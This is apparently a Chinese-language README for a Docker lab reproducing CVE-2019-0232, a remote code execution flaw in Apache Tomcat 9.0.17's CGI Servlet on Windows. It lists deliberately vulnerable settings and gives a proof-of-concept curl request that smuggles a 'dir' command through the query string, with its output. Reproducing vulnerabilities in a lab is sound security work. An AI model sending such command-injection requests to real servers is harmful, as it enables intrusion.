本仓库提供了一个基于 Docker 的实验环境,用于在 Windows 上的 Apache Tomcat 9.0.17 中复现 CVE-2019-0232 漏洞。
CVE-2019-0232 是 Apache Tomcat CGI Servlet 在 Windows 上运行时存在的一个远程代码执行漏洞。当 enableCmdLineArguments 参数设置为 true 时,由于对命令行参数的处理不当而引发该问题。攻击者可以通过查询字符串向 CGI 脚本传递任意参数,从而导致系统命令执行。
enableCmdLineArguments=truetomcat-cgi-lab
├── docker-compose.yml
├── Dockerfile
└── tomcat
├── apache-tomcat-9.0.17-windows-x64.zip
└── apache-tomcat-9.0.17
├── conf
│ └── context.xml ← (privileged="true")
└── webapps
└── ROOT
└── WEB-INF
├── web.xml ← (CGI configuration)
└── cgi-bin
└── test.bat ← (.bat script)
privileged="true" 以允许 Web 应用程序使用 CGI Servlet。enableCmdLineArguments=true 并将其映射到 /cgi-bin/*。docker-compose build --no-cache
docker-compose up -d
curl -i "http://localhost:8080/cgi-bin/test.bat?&dir"
Welcome to CGI Test Page
Volume in drive C has no label.
Volume Serial Number is 3E70-7C38
Directory of C:\apache-tomcat-9.0.17\webapps\ROOT\WEB-INF\cgi-bin
07/12/2026 11:45 AM <DIR> .
07/12/2026 11:45 AM <DIR> ..
07/12/2026 12:25 PM 78 test.bat
1 File(s) 78 bytes
2 Dir(s) 136,027,971,584 bytes free